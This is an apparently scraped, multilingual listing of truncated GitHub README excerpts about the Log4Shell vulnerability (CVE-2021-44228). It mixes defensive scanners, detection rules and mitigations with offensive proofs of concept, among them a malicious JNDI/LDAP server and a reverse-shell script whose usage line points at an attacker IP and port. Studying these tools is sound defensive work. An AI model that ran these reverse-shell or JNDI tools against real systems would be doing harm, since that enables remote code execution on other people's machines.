log4j-spring-vuln-poc

POC de Spring vulnérable à log4j Ceci est un POC pour un backend Spring Boot simple utilisant Maven incluant une version vulnérable de log4j pour CVE-2021-44228 Spring Boot généré depuis https://start.spring.io. commandes ./mvnw spring-boot:run: démarrer le serveur ./mvnw dependency:tree: affiche...

CVE-2021-44228-Log4Shell-POC

CVE-2021-44228-Log4Shell-POC POC complet pour la célèbre faille Log4j CVE-2021-44228 Prérequis Téléchargez et installez Java depuis ici, vous pouvez utiliser jdk-8u181. Installez IntelliJ Idea depuis ici POC Étape 1 : Clonez ce dépôt. Étape 2 : Déplacez le fichier Exploit.java dans un autre...

CVE-2021-44228-Log4j

इस सामग्री को उत्पादन प्रणालियों पर लागू करने से पहले इसका परीक्षण करें। उपयोग नवीनतम पैकेज यहाँ रिलीज़ से डाउनलोड करें: https://github.com/VerveIndustrialProtection/CVE-2021-44228-Log4j/releases और फिर Fixlets, Analyses और Computer Group को एक साइट में आयात करें और कंप्यूटर सदस्यताएँ लागू करें।...

log4j-recognizer

log4j-recognizer वर्तमान में चल रहे JVM में log4j खोजने के लिए एक उपयोगिता CVE-2021-44228 Log4Shell। यह उन सिस्टमों के लिए उपयोगी है जो प्लगइन्स को अपनी स्वयं की jars लाने की अनुमति देते हैं। इसलिए, आप पता लगा सकते हैं कि क्या किसी ने log4j को खतरनाक संस्करण में लाया है। उपयोग बस अपने इच्छित क्ला...

CVE-2021-44228

CVE-2021-44228 log4shell POC log4j 扫描工具 该工具将帮助你识别系统中的远程代码执行漏洞 log4j。 系统要求 你需要安装 httpx、subfinder、assetfinder、curl 和 amass 才能运行该 bash 脚本。 安装 1. 直接 git clone 仓库或下载 bash 脚本 git clone https://github.com/shamo0/CVE-2021-44228.git 2. 更改文件权限 chmod +x log4jscanner.sh 3. 运行 bash 脚本 ./log4jscanner.sh 使用方法：...

Log4Shell-CVE-2021-44228

Log4Shell CVE-2021-44228 का शोषण: एक संपूर्ण, आधुनिक प्रदर्शन प्रयोगशाला Log4Shell CVE-2021-44228 अब तक खोजी गई सबसे प्रभावशाली रिमोट कोड निष्पादन भेद्यताओं में से एक है। यह Apache Log4j 2 को प्रभावित करता है, जो एक व्यापक रूप से उपयोग किया जाने वाला Java लॉगिंग फ्रेमवर्क है, और हमलावरों को लॉग...

log4j2-test

Уязвимость удаленного выполнения кода Log4j2 2.14.1 LDAP CVE-2021-44228 - проверка 🎈 Тестировалось в среде Spring Boot 2.x Уведомление об уязвимости https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Версия Log4j2 понижена до уязвимой версии root@kitploit: 17 2.14.1...

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 Comment exécuter ? root@kitploit: php log4j.php https://1337.com Prérequis PHP CURL PAYLOAD DNS LOG Collaborator Burpsuite ou utiliser dnslog.cn Liste des Payloads root@kitploit: $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId...

python-log4rce

Python Log4RCE Um PoC totalmente integrado em Python3 puro para CVE-2021-44228. Exemplo root@kitploit: python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" root@kitploit: INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote target ...

cve-2021-44228

CVE-2021-44228 Um pacote Zeek que gera notificações, marca conexões HTTP e opcionalmente gera um log para tentativas do Log4J CVE-2021-44228. Detecta payload contido em cabeçalhos HTTP: Consulte Simplifying Detection of Log4Shell para detalhes. Usa assinaturas Zeek para gerar notificações quando ...

rogue-jndi

Rogue JNDI A malicious LDAP server for JNDI injection attacks. Description The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API. In order to perform an attack, you can start these servers locally and then trigger a JNDI resolution on the vulnerable client, e.g...

Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo Простая программа для демонстрации того, как можно эксплуатировать уязвимость Log4j CVE-2021-44228 Запуск демонстрации : Чтобы запустить программу, просто выполните start.sh в UNIX-системах или start.bat в Windows. Вводимые пользователем данные будут прочитаны и записаны в...

Log4j-CVE-Detect

Log4J-CVE-Detect इस रिपॉजिटरी में YARA नियमों का एक सेट है जो log4j के उन संस्करणों का पता लगाने के लिए है जो CVE-2021-44228, CVE-2021-45046, और/या CVE-2021-45105 के प्रति संवेदनशील हैं, प्रभावित संस्करणों में दिखाई देने वाली कई विशेषताओं को देखकर। यह उपकरण बाइनरी फ़ाइलों जैसे Docker इमेज, सिस्टम...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell 使用方法 root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l Attacker...

Exploitation-of-Log4j2-CVE-2021-44228

Ce depot n’a pas de fichier README...

Log4jShell-Scan

نظرة عامة ماسح ضوئي لثغرة RCE في log4j2 CVE-2021-44228 للشبكات الداخلية، يمكن استخدامه لمسح الثغرات دون الحاجة إلى اتصال بالإنترنت، مما يساعد المؤسسات على اكتشاف ثغرة Log4jShell بسرعة. معدل من: https://github.com/fullhunt/log4j-scan JNDIMonitor من: r00tSe7en/JNDIMonitor: مستمع لطلبات LDAP، للتخلص...

Log4JHunt

Log4JHunt Log4Shell CVE-2021-44228 भेद्यता के लिए एक स्वचालित, विश्वसनीय स्कैनर। वीडियो डेमो: उपयोग यहाँ सहायता उपयोग दिया गया है: root@kitploit: $ python3 log4jhunt.py +--------------+ Log4JHunt +--------------+ + Log4jHunt by RedHunt Labs - A Modern Attack Surface ASM Management Company + Autho...

divd-2021-00038--log4j-scanner

divd-2021-00038--log4j-scanner This scanner will recursively scan paths including archives for vulnerable log4j versions and org/apache/logging/log4j/core/lookup/JndiLookup.class files. Currently the allow list defines non exploitable versions, in this case log4j-core 2.17.0 and 2.12.3. Features...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test परीक्षण 1. LDAP सर्वर और हैकिंग फ़ाइल डाउनलोड सर्वर 1.1 Docker-compose निष्पादन docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN:...

nginx-mitigate-log4shell

nginx-mitigate-log4shell Mitigar ataques de vulnerabilidade log4shell CVE-2021-44228 e CVE-2021-45046 usando script LUA do Nginx Requer que o módulo lua do Nginx https://www.nginx.com/resources/wiki/modules/lua/ esteja habilitado. Use include /path/to/mitigate-log4shell.conf; no contexto server...